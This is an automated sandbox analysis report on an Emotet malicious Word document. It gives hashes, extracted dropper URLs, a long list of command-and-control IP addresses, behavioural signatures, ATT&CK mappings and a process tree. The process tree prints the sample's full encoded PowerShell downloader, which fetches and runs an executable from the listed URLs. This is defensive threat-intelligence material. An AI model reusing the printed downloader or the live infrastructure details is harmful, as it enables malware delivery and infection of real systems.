emotet | a39c3a1d85563e52225ba5a4b21a11c2020fcfe4370f36c2bc012ae19d91103f

General

Target
emotet_e3_a39c3a1d85563e52225ba5a4b21a11c2020fcfe4370f36c2bc012ae19d91103f_2020-08-14__110426._doc.doc
Size 228KB
Sample200814-k6sb29k6ls
SHA256 a39c3a1d85563e52225ba5a4b21a11c2020fcfe4370f36c2bc012ae19d91103f
MD5 cc283877730d03fb9d003e7566fdfb23
SHA1 2f2f2ff632721fe891f7c7d2d51e1e0a498bdfb1
SHA512 e1c493406d17c346ffb309d78125a3c09a9aa7176372a7ac97cc7c522e52cf4e9f4abebd6668d5e11fa246116d0839c854b365e682d22c19d6d981aec7433885
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
https://www.hammockworld.co.nz/imgs/xyTBsz/
exe.dropper
http://seatrade.com.eg/index_files/OGUwzJl/
exe.dropper
http://www.nancywhite-realtor.com/wp-content/qavvddXh/
exe.dropper
http://skullmedia.de/befroe.de/eyiY/
exe.dropper
https://damoshushu.com/wp-content/xhcurZgXJ/

Extracted

Family

emotet

C2

66.61.94.36:80
159.203.232.29:8080
185.86.148.68:443
74.208.173.91:8080
37.70.131.107:80
212.156.133.218:80
81.17.93.134:80
203.153.216.182:7080
115.79.195.246:80
115.165.3.213:80
216.75.37.196:8080
81.214.253.80:443
192.241.220.183:8080
172.96.190.154:8080
195.201.56.70:8080
105.213.67.88:80
50.116.78.109:8080
188.166.25.84:8080
187.64.128.197:80
198.57.203.63:8080
179.5.118.12:80
201.213.177.139:80
153.220.182.49:80
185.208.226.142:8080
192.163.221.191:8080
37.46.129.215:8080
75.127.14.170:8080
41.185.29.128:8080
91.83.93.103:443
51.38.201.19:7080
78.188.170.128:80
113.160.180.109:80
217.199.160.224:8080
190.190.15.20:80
188.251.213.180:443
203.153.216.178:7080
182.187.139.200:8080
177.37.81.212:443
181.164.110.7:80
172.105.78.244:8080
212.112.113.235:80
78.189.60.109:443
176.9.93.82:7080
201.235.10.215:80
188.0.135.237:80
92.24.51.238:80
143.95.101.72:8080
163.172.107.70:8080
87.106.231.60:8080
197.83.232.19:80
31.146.61.34:80
5.79.70.250:8080
182.176.95.147:80
190.212.140.6:80
177.144.130.105:443
46.32.229.152:8080
185.142.236.163:443
115.78.11.155:80
87.252.100.28:80
202.5.47.71:80
181.113.229.139:443
77.74.78.80:443
181.134.9.162:80
105.209.235.113:8080
157.7.164.178:8081
178.33.167.120:8080
46.105.131.68:8080
139.99.157.213:8080
177.32.8.85:80
139.59.12.63:8080
192.210.217.94:8080
75.139.38.211:80
113.161.148.81:80
107.161.30.122:8080
190.164.75.175:80
181.167.35.84:80
97.104.107.190:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2776	2912	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/732-14-0x0000000002360000-0x000000000236C000-memory.dmp	emotet
behavioral2/memory/732-14-0x0000000002360000-0x000000000236C000-memory.dmp	emotet
behavioral2/memory/1832-17-0x0000000002070000-0x000000000207C000-memory.dmp	emotet
behavioral2/memory/1832-17-0x0000000002070000-0x000000000207C000-memory.dmp	emotet

Blacklisted process makes network request 2 IoCs

flow	pid	Process
7	2776	powersheLL.exe
15	2776	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
732	Xfpl.exe
1832	InputService.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDLV\InputService.exe	Xfpl.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2920	WINWORD.EXE
2920	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2776	powersheLL.exe
2776	powersheLL.exe
2776	powersheLL.exe
1832	InputService.exe
1832	InputService.exe
1832	InputService.exe
1832	InputService.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
732	Xfpl.exe
732	Xfpl.exe
1832	InputService.exe
1832	InputService.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 732	2776	powersheLL.exe	74
PID 2776 wrote to memory of 732	2776	powersheLL.exe	74
PID 2776 wrote to memory of 732	2776	powersheLL.exe	74
PID 732 wrote to memory of 1832	732	Xfpl.exe	76
PID 732 wrote to memory of 1832	732	Xfpl.exe	76
PID 732 wrote to memory of 1832	732	Xfpl.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_a39c3a1d85563e52225ba5a4b21a11c2020fcfe4370f36c2bc012ae19d91103f_2020-08-14__110426._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2920

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABLADgAOABnADkAYwBfAD0AJwBYAHoAcwA3ADkAYQBoACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGMAVQBgAFIAaQBgAFQAWQBwAFIATwB0AGAATwBDAE8AbAAiACAAPQAgACcAdABsAHMAMQAyACwAIAB0AGwAcwAxADEALAAgAHQAbABzACcAOwAkAEwANQBpADQAZABuAHAAIAA9ACAAJwBYAGYAcABsACcAOwAkAEgAcQB1AHQAbwA4ADcAPQAnAFUAYgB2AHkAYwB6AG4AJwA7ACQAVQBwAHoAdAB2AGgAbgA9ACQAZQBuAHYAOgB0AGUAbQBwACsAJwBcACcAKwAkAEwANQBpADQAZABuAHAAKwAnAC4AZQB4AGUAJwA7ACQAUAA5AGwAMQBwAGsAeAA9ACcAUwByAHAAcQB3AG0AdgAnADsAJABLAG0ANQBpAHYAXwAwAD0ALgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlACcAKwAnAGMAdAAnACkAIABuAEUAdAAuAHcAZQBiAEMAbABpAEUATgBUADsAJABTADIAagBsAGIAYQA2AD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBoAGEAbQBtAG8AYwBrAHcAbwByAGwAZAAuAGMAbwAuAG4AegAvAGkAbQBnAHMALwB4AHkAVABCAHMAegAvACoAaAB0AHQAcAA6AC8ALwBzAGUAYQB0AHIAYQBkAGUALgBjAG8AbQAuAGUAZwAvAGkAbgBkAGUAeABfAGYAaQBsAGUAcwAvAE8ARwBVAHcAegBKAGwALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBuAGEAbgBjAHkAdwBoAGkAdABlAC0AcgBlAGEAbAB0AG8AcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHEAYQB2AHYAZABkAFgAaAAvACoAaAB0AHQAcAA6AC8ALwBzAGsAdQBsAGwAbQBlAGQAaQBhAC4AZABlAC8AYgBlAGYAcgBvAGUALgBkAGUALwBlAHkAaQBZAC8AKgBoAHQAdABwAHMAOgAvAC8AZABhAG0AbwBzAGgAdQBzAGgAdQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAHgAaABjAHUAcgBaAGcAWABKAC8AJwAuACIAUwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABYAGoAdwAwAG0AbwA0AD0AJwBFADMAeAA2AGUANQA1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABCAHIAdgAzAHEAcgBlACAAaQBuACAAJABTADIAagBsAGIAYQA2ACkAewB0AHIAeQB7ACQASwBtADUAaQB2AF8AMAAuACIARABgAG8AVwBuAGwATwBgAEEAYABEAGYAaQBsAGUAIgAoACQAQgByAHYAMwBxAHIAZQAsACAAJABVAHAAegB0AHYAaABuACkAOwAkAFIAeQBsAGoAawAyADIAPQAnAFYAeQA0ADgAcgBwAHgAJwA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAdAAnACsAJwBlACcAKwAnAG0AJwApACAAJABVAHAAegB0AHYAaABuACkALgAiAEwAZQBOAGAARwBUAEgAIgAgAC0AZwBlACAAMgA4ADkAMwA1ACkAIAB7ACYAKAAnAEkAbgB2AG8AawAnACsAJwBlAC0AJwArACcASQB0AGUAbQAnACkAKAAkAFUAcAB6AHQAdgBoAG4AKQA7ACQAQgAyADUAZABvAGgAaAA9ACcARwB0AHkAeAAzADMANwAnADsAYgByAGUAYQBrADsAJABFADQAOQBhAG0AaQBnAD0AJwBQAGYAegB2ADcAdQAzACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAbwBjAGMAYQBmAGoAPQAnAEMAZQBhAGkAZABuAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Users\Admin\AppData\Local\Temp\Xfpl.exe
  "C:\Users\Admin\AppData\Local\Temp\Xfpl.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:732
- - C:\Windows\SysWOW64\KBDLV\InputService.exe
    "C:\Windows\SysWOW64\KBDLV\InputService.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1832

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/732-14-0x0000000002360000-0x000000000236C000-memory.dmp

Download

memory/1832-17-0x0000000002070000-0x000000000207C000-memory.dmp

Download

memory/2776-8-0x00007FFB49530000-0x00007FFB49F1C000-memory.dmp

Download

memory/2776-9-0x000001B5C5D40000-0x000001B5C5D41000-memory.dmp

Download

memory/2776-10-0x000001B5C5EF0000-0x000001B5C5EF1000-memory.dmp

Download

memory/2920-0-0x00007FFB51620000-0x00007FFB51CE6000-memory.dmp

Download

memory/2920-7-0x000002000B844000-0x000002000B855000-memory.dmp

Download

memory/2920-6-0x000002000B844000-0x000002000B855000-memory.dmp

Download

memory/2920-5-0x0000020008E59000-0x0000020008E60000-memory.dmp

Download

memory/2920-4-0x000002000B6BF000-0x000002000B6C4000-memory.dmp

Download

memory/2920-3-0x000002000B6BC000-0x000002000B6BF000-memory.dmp

Download

memory/2920-2-0x000002000B6BC000-0x000002000B6BF000-memory.dmp

Download

memory/2920-1-0x000002000B6BF000-0x000002000B6C4000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads